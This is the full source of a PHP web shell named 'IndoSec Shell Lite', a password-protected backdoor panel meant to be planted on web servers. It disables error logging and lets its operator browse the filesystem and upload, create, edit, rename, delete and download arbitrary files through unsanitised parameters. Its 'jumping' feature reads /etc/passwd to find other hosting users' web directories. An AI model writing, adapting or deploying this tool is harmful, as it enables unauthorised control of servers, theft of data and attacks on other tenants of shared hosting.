<?php
/**
 * INDOSEC SHELL - LITE VERSION (JUMPING, UPLOAD, NEW FILE)
 */
session_start();
error_reporting(0);
set_time_limit(0);
@clearstatcache();
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);

$auth_pass = '54062f3bf6377d42b4fab7c8fedfc7da'; // Password: IndoSec
$color = '#00ff00';

function login_shell() {
?>
<!DOCTYPE html>
<html>
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>{ IndoSec sHell } - Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
    <style>body{background:#0d1117;color:white;padding-top:100px;}</style>
</head>
<body>
    <div class="container col-lg-4 shadow p-5 bg-dark border-danger" style="border:1px solid">
        <h2 class="text-center">{ INDOSEC }</h2>
        <form method="post"><br>
            <input type="password" name="pass" placeholder="PASSWORD" class="form-control text-center"><br>
            <input type="submit" class="btn btn-danger btn-block" value="Login">
        </form>
    </div>
</body>
</html>
<?php exit; }

if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) {
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    } else { login_shell(); }
}

if (isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); }
$dir = str_replace('\\', '/', $dir);
$os = php_uname();
$ip = gethostbyname($_SERVER['HTTP_HOST']);

function perms($file) {
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) $info = 's';
    elseif (($perms & 0xA000) == 0xA000) $info = 'l';
    elseif (($perms & 0x8000) == 0x8000) $info = '-';
    elseif (($perms & 0x4000) == 0x4000) $info = 'd';
    else $info = 'u';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? 'x' : '-');
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? 'x' : '-');
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? 'x' : '-');
    return $info;
}

if (isset($_GET['file']) && $_GET['aksi'] == 'download') {
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($_GET['file']).'"');
    readfile($_GET['file']); exit;
}
?>
<html>
<head>
    <title>{ IndoSec } - Lite Pro</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css"/>
    <style>
        body{background:#0d1117;color:#c9d1d9;font-family:sans-serif;}
        .container{margin-top:20px;}
        a{color:#58a6ff;text-decoration:none;}
        .card{background:#161b22;border:1px solid #30363d;}
        .table{color:#c9d1d9;}
        .badge{margin:2px;}
        .breadcrumb-custom { background: #161b22; padding: 10px; border-radius: 5px; border: 1px solid #30363d; margin-bottom: 20px; }
    </style>
</head>
<body>
<div class="container">
    <h2 class="text-center text-danger font-weight-bold">{ INDOSEC LITE }</h2>
    
    <div class="breadcrumb-custom">
        <i class="fa fa-folder-open text-warning"></i> Path: 
        <?php
        $paths = explode('/', $dir);
        foreach ($paths as $id => $pat) {
            if ($pat == '' && $id == 0) {
                echo '<a href="?dir=/">/</a>';
                continue;
            }
            if ($pat == '') continue;
            echo '<a href="?dir=';
            for ($i = 0; $i <= $id; $i++) { echo "$paths[$i]"; if ($i != $id) echo "/"; }
            echo '">'.$pat.'</a> / ';
        }
        ?>
    </div>

    <div class="d-flex justify-content-center mb-4">
        <a href="?dir=<?=$dir?>" class="btn btn-outline-primary mx-1"><i class="fa fa-home"></i> Home</a>
        <a href="?dir=<?=$dir?>&aksi=upload" class="btn btn-outline-success mx-1"><i class="fa fa-upload"></i> Upload</a>
        <a href="?dir=<?=$dir?>&aksi=newfile" class="btn btn-outline-info mx-1"><i class="fa fa-file-plus"></i> + File Baru</a>
        <a href="?dir=<?=$dir?>&aksi=jumping" class="btn btn-outline-warning mx-1"><i class="fa fa-running"></i> Jumping</a>
        <a href="?keluar=1" class="btn btn-outline-danger mx-1"><i class="fa fa-sign-out-alt"></i> Keluar</a>
    </div>

    <?php
    // ACTION HANDLERS
    if($_GET['aksi'] == 'upload') {
        echo '<div class="card p-4 mb-4 text-center">
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="file[]" multiple class="form-control-file mb-3">
                <input type="submit" name="do_upload" value="Upload Now" class="btn btn-success">
            </form>';
        if(isset($_POST['do_upload'])){
            foreach($_FILES['file']['name'] as $i => $name){
                copy($_FILES['file']['tmp_name'][$i], $dir."/".$name);
            }
            echo "<script>window.location='?dir=$dir';</script>";
        }
        echo '</div>';
    }

    if($_GET['aksi'] == 'newfile') {
        echo '<div class="card p-4 mb-4">
            <form method="POST">
                <input type="text" name="filename" class="form-control mb-2" placeholder="nama_file.php" required>
                <textarea name="content" class="form-control bg-dark text-success mb-2" rows="10" placeholder="Isi file di sini..."></textarea>
                <input type="submit" name="create_file" value="Create & Save" class="btn btn-info">
            </form>';
        if(isset($_POST['create_file'])){
            file_put_contents($dir."/".$_POST['filename'], $_POST['content']);
            echo "<script>window.location='?dir=$dir';</script>";
        }
        echo '</div>';
    }

    if($_GET['aksi'] == 'jumping') {
        echo '<div class="card p-4 mb-4"><pre style="color:#7ee787">';
        $etc = @file("/etc/passwd");
        foreach($etc as $line){
            $user = explode(":", $line)[0];
            $path = "/home/$user/public_html";
            if(@is_dir($path)){ echo "[R] <a href='?dir=$path'>$path</a>\n"; }
        }
        echo '</pre></div>';
    }

    if($_GET['aksi'] == 'edit' && isset($_GET['file'])) {
        if(isset($_POST['save'])){ file_put_contents($_GET['file'], $_POST['content']); echo "<script>alert('Saved!');</script>"; }
        $content = htmlspecialchars(file_get_contents($_GET['file']));
        echo "<form method='POST'><textarea name='content' class='form-control bg-dark text-success' rows='15'>$content</textarea>
              <input type='submit' name='save' value='Save File' class='btn btn-primary mt-2'></form>";
    }

    if($_GET['aksi'] == 'rename' && isset($_GET['file'])) {
        if(isset($_POST['do_ren'])){ rename($_GET['file'], $_POST['new_name']); echo "<script>window.location='?dir=$dir';</script>"; }
        echo "<form method='POST'><input type='text' name='new_name' value='".basename($_GET['file'])."' class='form-control'>
              <input type='submit' name='do_ren' value='Rename' class='btn btn-primary mt-2'></form>";
    }

    if($_GET['aksi'] == 'delete' && isset($_GET['file'])) {
        unlink($_GET['file']); echo "<script>window.location='?dir=$dir';</script>";
    }
    
    if(isset($_GET['keluar'])){ session_destroy(); echo "<script>window.location='?';</script>"; }

    // FILE MANAGER TABLE
    echo '<div class="table-responsive mt-4">
        <table class="table table-hover border border-secondary">
            <thead class="bg-secondary text-white">
                <tr><th>Name</th><th>Size</th><th>Perms</th><th>Actions</th></tr>
            </thead><tbody>';
    
    $files = scandir($dir);
    foreach($files as $f) {
        if($f == "." || $f == "..") continue;
        $full = $dir."/".$f;
        $size = is_dir($full) ? "DIR" : round(filesize($full)/1024, 2)." KB";
        $color_p = is_writable($full) ? "text-success" : "text-danger";
        
        echo "<tr>
            <td>".(is_dir($full) ? "📁 <a href='?dir=$full'>$f/</a>" : "📄 $f")."</td>
            <td>$size</td>
            <td class='$color_p'>".perms($full)."</td>
            <td>";
            if(!is_dir($full)){
                echo "<a href='?dir=$dir&aksi=edit&file=$full' class='badge badge-info'>Edit</a>
                      <a href='?dir=$dir&aksi=download&file=$full' class='badge badge-success'>Get</a>";
            }
            echo "<a href='?dir=$dir&aksi=rename&file=$full' class='badge badge-warning'>Ren</a>
                  <a href='?dir=$dir&aksi=delete&file=$full' onclick=\"return confirm('Hapus?')\" class='badge badge-danger'>Del</a>
            </td></tr>";
    }
    echo '</tbody></table></div>';
    ?>
</div>
</body>
</html>
